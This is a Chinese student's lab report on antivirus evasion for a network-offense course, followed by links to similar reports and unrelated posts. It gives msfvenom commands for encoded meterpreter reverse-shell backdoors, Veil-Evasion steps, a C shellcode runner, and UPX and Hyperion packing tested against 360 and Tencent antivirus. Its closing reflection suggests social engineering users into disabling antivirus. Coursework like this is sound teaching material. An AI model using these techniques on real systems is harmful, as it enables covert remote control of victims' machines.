2018-2019-2 20165212 《网络对抗技术》Exp3 免杀原理与实践

一、实验内容

  • 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
  • 通过组合应用各种技术实现恶意代码免杀
  • 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

二、实验步骤

任务一 正确使用免杀工具或技巧

1、使用msf编码器msfvenom生成后门程序

  • 使用msfvenom -p windows/meterpreter/reversetcp -e x86/shikataga_nai -i 10 -b ‘\x00’ LHOST=192.168.235.144 LPORT=5212 -f exe >fenix.exe指令进行多次编码,生成.exe的后门程序

  • 放到windows系统中,360肯定是可以直接发现的,没有测试的必要

  • 使用virscan进行扫描,结果如下所示:

  • 用msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.235.144 lport=5212 x> 5212met.jar生成.jar的后门程序

  • 使用msfconsole回连成功 (没启动杀软)

  • 放到windows7系统中,杀软并发现它了,扫描没问题,但是运行会查杀

  • 使用virscan进行扫描,结果如下所示:

  • 检测率降低了,但没有实现免杀

2、使用veil-evasion生成后门程序

  • 安装veil-evasion(参考安装教程)
  • 在经过长时间尝试安装veil失败后,我直接安装了可用veil的kali机
  • 输入veil,启用veil

  • 输入use evasion,进入veil-evasion

  • 输入list,查看可生成文件的格式

  • 输入use 7,选择C语言格式

  • 依次输入set LHOST 192.168.235.144和set LPORT 5212设置反弹连接IP和端口
  • 输入generate生成文件,再设置playload的名字:payload5212
  • 生成成功
  • 放到windows中,执行,msf成功监听3
  • 使用virscan进行扫描,结果如下所示:
  • 查杀结果依然显示危险

3、利用shellcode编程生成后门程序

  • 用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.235.144 LPORT=5212 -f c生成一段shellcode

  • 利用shellcode编写一个C语言程序后门,再用i686-w64-mingw32-g++ feniexp3.c -o fenixexp3.exe编译运行后,测试其可用性

  • C语言代码如下: unsigned char buf[] = "buf"

int main() { int (func)() = (int()())buf; func(); } - 生成文件如图

  • 直接用.C交叉编译生成的exe文件复制到Windows中是无法运行的,错误提示BEX,是win下面类似堆栈保护的机制(但是UPX压索壳加密后可以运行可用回连;upx加壳后的exe再用hyperion加密壳加密后不可再win下面不可以运行,错误提示appcrash,这次原因不再是堆栈保护机制,而是编译C生成的EXE文件这么一层一层弄下来文件本身坏了)

  • upx加密的EXE成功连接

  • 使用virscan进行扫描,结果如下所示:
  • -上述3个exe程序无法实现免杀,扫描就凉了

任务二 通过组合应用各种技术实现恶意代码免杀

对任务一中使用Veil,c/meterpreter/rev_tcp.py生成的fenixveil.exe可执行文件加UPX压缩壳尝试实现免杀 被控机是Win7虚拟机,电脑杀软为360(最新版就这周安装的)

  • 使用virscan进行扫描,结果如下所示:
  • win7下360按位置查杀没有发现:
  • 但是尝试运行回连候会被杀出来,应该是压缩过后储存在硬盘上的代码被改变没有恶意代码的特征,但是运行的时候在行为像病毒木马所以被360查出来。也就是说,upx这个工具生成的后门,存储没问题,运行还不行。hyperion也是一样,甚至
  • 当然了,没开杀软或者信任之后回连成功
  • 所以,总结一下,后门程序、组合实现的shellcode存储免杀没问题,但是运行起来不行

任务三 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

  • 本项任务我自己的主机作为受害者,20165313张晨晖的kali作为坏人
  • 杀软版本:电脑管家13.0.19837.233,我在自己主机上启动的程序为半手工编译的shellcode经过upx和hyperion加壳的。结果如图

三、实验中遇到的问题

  • 在安装运行Veil-Evasion时,遇到很多错,很棘手

    • 解决过程: 更换新版本的kali机
  • C交叉编译生成的exe文件、hyperion加密壳生成的exe文件在win7下无法执行。

    • 这个问题其实没有解决,我大致找到了原因:前者是因为“机器码恶意太明显”,win7下有类似堆栈保护的机制,叫“数据执行保护DEP”(错误代码BEX),并且我无法为我的后门程序免除DEP;后者应该是因为一层层编译加壳下来文件本身产生了变化(错误代码APPCRASH),ntdll内核模块出错,我尝试按网上的步骤修改,结果那个虚拟机坏了。使得程序本身无法启动。

四、实验总结

1、基础问题回答

  • (1)杀软是如何检测出恶意代码的?

    • 1)第一种是基于特征码的检测,特征码就是一段恶意程序有但是正常程序没有的一段代码,当杀软检测到一个程序里有和特征码库中匹配的特征码,就会将它作为恶意程序处理。
    • 2)第二种是启发式恶意软件检测,简单来说,就是杀软根据程序的片面特征去推断其是否包含恶意代码,通常缺乏精确判定依据。
    • 3)第三种是基于行为的恶意软件检测,是加入了行为监控的启发式检测,更加精确。当一个程序在运行时,杀毒软件会监视其行为,如果发现了这种特殊的行为,则会把它当成恶意软件。
  • (2)免杀是做什么?
    • 我认为是通过一些特殊的方法,如加壳、编码等,使杀软无法识别主机中的恶意代码。
  • (3)免杀的基本方法有哪些?

    • 1)第一种是改变特征码,如加壳、用encode对shellcode进行编码、利用shellcode生成可执行文件、用python和C等其他语言重写再编译。
    • 2)第二种是改变行为,如在通讯中尽量使用反弹式连接、使用隧道技术、加密通讯数据等等,在操作中基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码等。
    • 3)第三种是非常规方法,如使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中;使用社工类攻击,诱骗目标关闭AV软件;纯手工打造一个恶意软件等等。

2、实验总结和收获

  • 结合我身边同学的实际情况来看,如果在windows&360开启的条件下,运行后门程序没有一个成功的(有的运行了几分钟之后才被查杀,但那不算成功吧),为了最后一个任务,我不得不去找了一台装有腾讯电脑管家的电脑去做实验,并且运行没有发现。据我所知,360的病毒库是和卡巴斯基通用的,这两大家安全公司,要是我们简单的学了几个小时复制粘贴几个指令就能逃过去岂不是有些荒唐...

3、离实战还缺少的技术或步骤

  • 目前我们的水平很难弄出能在360眼皮底下运行的后门(我所知道的可以运行的坚持不过几分钟),所以必须要考虑“人为因素”,对计算机使用者进行诱导,使其主动去关闭360或者对我们的后门程序添加信任,也就意味着我们需要对后门程序进行包装,比如把shellcode写进word、QQ等程序里,使操作者对伪装的后门程序没有戒备。还有一种思路:既然后门程序可以安全的存储在硬盘上,那我就可以在弄一个程序去监视计算机的进程,监视到360退出了,这时候去唤醒后门程序

2018-2019-2 20165212 《网络对抗技术》Exp3 免杀原理与实践的更多相关文章

  1. 20145215《网络对抗》Exp3 免杀原理与实践

    20145215<网络对抗>Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有 ...

  2. 20155227《网络对抗》Exp3 免杀原理与实践

    20155227<网络对抗>Exp3 免杀原理与实践 实践内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等 ...

  3. 20155232《网络对抗》Exp3 免杀原理与实践

    20155232<网络对抗>Exp3 免杀原理与实践 问题回答 1.基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测 特征码:一段特征码就是一段或多段数据. 如果一个可执 ...

  4. 20155302《网络对抗》Exp3 免杀原理与实践

    20155302<网络对抗>Exp3 免杀原理与实践 实验要求 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编 ...

  5. 20155323刘威良《网络对抗》Exp3 免杀原理与实践

    20155323刘威良<网络对抗>Exp3 免杀原理与实践 实践内容 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellco ...

  6. 20155333 《网络对抗》Exp3 免杀原理与实践

    20155333 <网络对抗>Exp3 免杀原理与实践 基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测: 启发式恶意软件检测: 基于行为的恶意软件检测. (2)免杀是做 ...

  7. 20145307陈俊达《网络对抗》Exp3 免杀原理与实践

    20145307陈俊达<网络对抗>Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的 ...

  8. 20155218《网络对抗》Exp3 免杀原理与实践

    20155218<网络对抗>Exp3 免杀原理与实践 一.使用msf生成后门程序的检测 (1)将上周msf生成的后门文件放在virscan.org中进行扫描,截图如下: (2)使用msf时 ...

  9. 20155239吕宇轩《网络对抗》Exp3 免杀原理与实践

    20155239吕宇轩<网络对抗>Exp3 免杀原理与实践 实验过程 Kali使用上次实验msfvenom产生后门的可执行文件,上传到老师提供的网址http://www.virscan.o ...

  10. 20155338《网络对抗》Exp3 免杀原理与实践

    20155338<网络对抗>Exp3 免杀原理与实践 实验过程 一.免杀效果参考基准 Kali使用上次实验msfvenom产生后门的可执行文件,上传到老师提供的网址http://www.v ...

随机推荐

  1. Unity游戏中关于伤害范围的计算

    1.纯数学计算 范围计算 + 方向计算: 先将不在伤害范围的敌人排除掉,再计算处于伤害范围并且角度正确的敌人. 以上的计算是以人物的中心来计算的, 所以这中方式就有些局限性了,比如:一个四足怪物,只有 ...

  2. javascript对象使用总结

    javascript对象使用总结 一.总结 一句话总结:js对象的主要知识点是创建对象和继承,并且创建对象和继承的方法都是逐步层层递进的 创建对象 继承 原型 创建对象 1 <script> ...

  3. CentOS Redhat Linux安装 Oracle Client 的注意点

    1) 安装文件要拷贝到本地文件系统执行 2) 虽然不知道 libXmu是什么,但是安装之后,关联包安装了许多,感觉很省心 yum install libXmu.i686 3)  还有找不到的包的话,用 ...

  4. "is not allowed to connect" mysql

    好像过几次,安装mysql时,总会遇到这个问题. 每次都忘怎么解决. 这回写下来吧. 编辑 mysql数据库的 user表太麻烦了, 最简单的方法是加一个用户,以后就用这个用户登录 CREATE US ...

  5. java反射究竟消耗多少效率

    原文出处 一直以来都对Java反射究竟消耗了多少效率很感兴趣,今晚总算有空进行了一下测试 测试被调用的类和方法 package com.spring.scran; public class TestM ...

  6. Confluence 6 为 Active Directory 配置一个 SSL 连接

    如果你希望配置 Microsoft Active Directory 的读写权限,你需要在你的 Confluence 服务器和JVM keystore 上安装 Active Directory 服务器 ...

  7. hdu3068 manacher模板题

    给出一个只由小写英文字符a,b,c...y,z组成的字符串S,求S中最长回文串的长度. 回文就是正反读都是一样的字符串,如aba, abba等 Input输入有多组case,不超过120组,每组输入为 ...

  8. Oracle12c中数据删除(delete)新特性之数据库内归档功能

    有些应用有“标记删除”的概念,即不是删除数据,而是数据依然保留在表中,只是对应用不可见而已.这种需求通常通过如下方法实现: 1)  给相关表增加一个另外的列,该列存储标志数据被删除的标记. 2)  给 ...

  9. 查看dll导出函数的方法

    1.使用VS自带工具: (1)进入VS开发环境,然后Tools -> Visual studio 2015 Command Prompt,打开兼容工具命令提示符, (2)cd到dll所在目录,输 ...

  10. 解密微信sqlite数据库

    最近在研究解密微信APP的数据库, 1.通过Android手机内置备份功能,可以获取到微信的数据库文件,再通过adb传到电脑上. 2.获取微信EnMicroMsg.db库的密码(通过IMEI和uin值 ...